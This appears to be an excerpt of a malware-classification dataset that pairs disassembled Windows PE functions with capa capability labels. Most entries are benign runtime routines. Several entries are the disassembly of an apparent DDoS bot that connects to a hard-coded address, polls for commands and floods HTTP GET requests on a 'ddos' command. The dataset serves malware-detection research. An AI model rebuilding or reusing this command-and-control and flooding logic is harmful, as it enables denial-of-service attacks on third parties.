joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002430
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000244f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002458
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002470
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002490
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002498
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002490
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002490
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400024e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400024f0
add rdx, 0x28
cmp r9, rdx
jne 0x1400024d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002500
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002522
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002530
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002522
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002522
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002522
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002585
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002598
add rdx, 0x28
cmp rdx, r10
jne 0x140002570
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400025a7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400025b7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000258e
test ecx, ecx
jg 0x1400025a0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x2fc4d34e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d45c0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d3ee2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f6108]
test eax, eax
je 0x2fc4d3f7a
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f6110]
mov qword [rbp - 8], rax
jmp 0x2fc4d3f5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d3f52
cmp qword [rbp - 0x10], 0
je 0x2fc4d3f52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d3f18
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d3f7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d4080
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d40a8
mov eax, 0
jmp 0x2fc4d40f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d40d1
mov eax, 0
jmp 0x2fc4d40f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d40f1
mov eax, 0
jmp 0x2fc4d40f6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d40fc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d417a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d4171
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d4171
mov rax, qword [rbp - 8]
jmp 0x2fc4d418f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d4144
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011253
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x140016540
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1718
call fcn.140011118
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x43e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1738]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x16e0], rax
mov dword [rbp + 0x16c4], 0
lea rcx, [0x14002e0f6]
call fcn.140011677
call fcn.140011451
cmp qword [0x1400284c0], 0
je 0x14001666c
lea rdx, str.poll
lea rcx, [rbp + 8]
call fcn.1400112c1
nop
lea rcx, [rbp + 8]
call fcn.14001159b
mov qword [rbp + 0x16d8], rax
lea rcx, [rbp + 8]
call fcn.140011096
xor r9d, r9d
mov rcx, qword [rbp + 0x16d8]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [0x1400284c0]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x44], 0x28
xor r9d, r9d
mov r8d, dword [rbp + 0x44]
lea rdx, [rbp + 0x70]
mov rcx, qword [0x1400284c0]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x1084], eax
call fcn.140011014
lea rcx, [rbp + 0x16a4]
call fcn.140011181
movsxd rcx, dword [rbp + 0x1084]
lea rcx, [rbp + rcx + 0x70]
mov r9, rax
mov r8, rcx
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 0x1710]
call fcn.1400112bc
mov eax, dword [rbp + 0x16c4]
or eax, 1
mov dword [rbp + 0x16c4], eax
lea rcx, [rbp + 8]
call fcn.140011122
mov rax, qword [rbp + 0x1710]
jmp 0x14001669a
call fcn.140011014
lea rdx, [0x140023b53]
mov rcx, qword [rbp + 0x1710]
call fcn.1400112c1
mov eax, dword [rbp + 0x16c4]
or eax, 1
mov dword [rbp + 0x16c4], eax
mov rax, qword [rbp + 0x1710]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140023230]
call fcn.14001155a
mov rax, rdi
mov rcx, qword [rbp + 0x16e0]
xor rcx, rbp
call fcn.140011316
lea rsp, [rbp + 0x16f8]
pop rdi
pop rbp
ret

Function at 0x14001138e
Capabilities:
Terminate process

Disassembly:
jmp 0x14001b8e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011451
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x1400163f0
push rbp
push rdi
sub rsp, 0x3b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x388], rax
lea rcx, [0x14002e0f6]
call fcn.140011677
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140016444
jmp 0x1400164cc
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x1400284c0], rax
lea rcx, str.192.168.68.74
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 0x1c8], rax
mov cx, 0xb184
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
mov eax, 2
mov word [rbp + 0x1e8], ax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x1c8]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov eax, dword [rax]
mov dword [rbp + 0x1ec], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x1e8]
mov rcx, qword [0x1400284c0]
call qword [sym.imp.WS2_32.dll_connect]
lea rcx, [rbp - 0x20]
lea rdx, [0x140023160]
call fcn.14001155a
mov rcx, qword [rbp + 0x388]
xor rcx, rbp
call fcn.140011316
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret
Function at 0x14001146f
Capabilities:
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
jmp 0x140018730
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x14002e0f6]
call fcn.140011677
xor eax, eax
cmp eax, 1
je 0x1400189d7
lea rcx, [rbp + 8]
call fcn.140011253
nop
lea rcx, [rbp + 8]
call fcn.14001159b
test rax, rax
jbe 0x1400189bd
lea rdx, [0x1400284c8]
lea rcx, [rbp + 8]
call fcn.14001139d
movzx eax, al
test eax, eax
je 0x1400189bd
lea rdx, [rbp + 8]
lea rcx, [0x1400284c8]
call fcn.140011541
xor r8d, r8d
lea rdx, [0x140023b70]
lea rcx, [rbp + 8]
call fcn.14001123f
test rax, rax
jne 0x140018883
xor r8d, r8d
lea rdx, [0x140023b74]
lea rcx, [rbp + 8]
call fcn.14001123f
sub rax, 3
mov r9, rax
mov r8d, 3
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.140011352
nop
xor r8d, r8d
lea rdx, [0x140023b74]
lea rcx, [rbp + 8]
call fcn.14001123f
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 8]
call fcn.140011352
lea rcx, [rbp + 0x88]
call fcn.140011096
mov qword [rbp + 0x238], rax
lea rcx, [rbp + 0x48]
call fcn.140011096
xor r9d, r9d
mov rcx, qword [rbp + 0x238]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x88]
call fcn.140011122
nop
lea rcx, [rbp + 0x48]
call fcn.140011122
xor r8d, r8d
lea rdx, str.ddos
lea rcx, [rbp + 8]
call fcn.14001123f
test rax, rax
jne 0x14001899a
xor r8d, r8d
lea rdx, [0x140023b74]
lea rcx, [rbp + 8]
call fcn.14001123f
sub rax, 3
mov r9, rax
mov r8d, 3
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 8]
call fcn.140011352
nop
xor eax, eax
cmp eax, 1
je 0x14001898e
call fcn.140011451
lea r8, [rbp + 0xc8]
lea rdx, str.GET___HTTP_1.1_r_nHost:
lea rcx, [rbp + 0x208]
call fcn.140011046
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x240], rax
lea r8, str._r_nConnection:_close_r_n_r_n
mov rdx, qword [rbp + 0x240]
lea rcx, [rbp + 0x108]
call fcn.1400115f5
nop
lea rcx, [rbp + 0x208]
call fcn.140011122
lea rcx, [rbp + 0x108]
call fcn.14001159b
mov qword [rbp + 0x238], rax
lea rcx, [rbp + 0x108]
call fcn.140011096
xor r9d, r9d
mov rcx, qword [rbp + 0x238]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [0x1400284c0]
call qword [sym.imp.WS2_32.dll_send]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x108]
call fcn.140011122
jmp 0x1400188d0
lea rcx, [rbp + 0xc8]
call fcn.140011122
xor r8d, r8d
lea rdx, str.stop
lea rcx, [rbp + 8]
call fcn.14001123f
test rax, rax
jne 0x1400189bd
lea rcx, [rbp + 8]
call fcn.140011122
jmp 0x1400189d7
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 8]
call fcn.140011122
jmp 0x14001876d
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400233d0]
call fcn.14001155a
mov eax, edi
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.140011316
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret
Function at 0x140011483
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a790
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a7b0
xor al, al
jmp 0x14001a831
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a7c3
xor al, al
jmp 0x14001a831
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a7ed
xor al, al
jmp 0x14001a831
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a801
xor al, al
jmp 0x14001a831
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a813
xor al, al
jmp 0x14001a831
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a82f
xor al, al
jmp 0x14001a831
mov al, 1
add rsp, 0x38
ret
Function at 0x2fc4d3550
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d4630
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d3f52
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f6108]
test eax, eax
je 0x2fc4d3fea
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f6110]
mov qword [rbp - 8], rax
jmp 0x2fc4d3fce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d3fc2
cmp qword [rbp - 0x10], 0
je 0x2fc4d3fc2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d3f88
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d3feb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d40f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d4118
mov eax, 0
jmp 0x2fc4d4166
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d4141
mov eax, 0
jmp 0x2fc4d4166
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d4161
mov eax, 0
jmp 0x2fc4d4166
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d416c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d41ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d41e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d41e1
mov rax, qword [rbp - 8]
jmp 0x2fc4d41ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d41b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc5331c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc5342a0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc533bc2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc556108]
test eax, eax
je 0x2fc533c5a
lea rax, [0x2fc5560e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc556110]
mov qword [rbp - 8], rax
jmp 0x2fc533c3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc533c32
cmp qword [rbp - 0x10], 0
je 0x2fc533c32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc533bf8
lea rax, [0x2fc5560e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc533c5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc533d60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc533d88
mov eax, 0
jmp 0x2fc533dd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc533db1
mov eax, 0
jmp 0x2fc533dd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc533dd1
mov eax, 0
jmp 0x2fc533dd6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc533ddc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc533e5a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc533e51
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc533e51
mov rax, qword [rbp - 8]
jmp 0x2fc533e6f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc533e24
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d47b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d5890
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d51b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f7108]
test eax, eax
je 0x2fc4d524a
lea rax, [0x2fc4f70e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f7110]
mov qword [rbp - 8], rax
jmp 0x2fc4d522e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d5222
cmp qword [rbp - 0x10], 0
je 0x2fc4d5222
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d51e8
lea rax, [0x2fc4f70e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d524b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d5350
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d5378
mov eax, 0
jmp 0x2fc4d53c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d53a1
mov eax, 0
jmp 0x2fc4d53c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d53c1
mov eax, 0
jmp 0x2fc4d53c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d53cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d544a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d5441
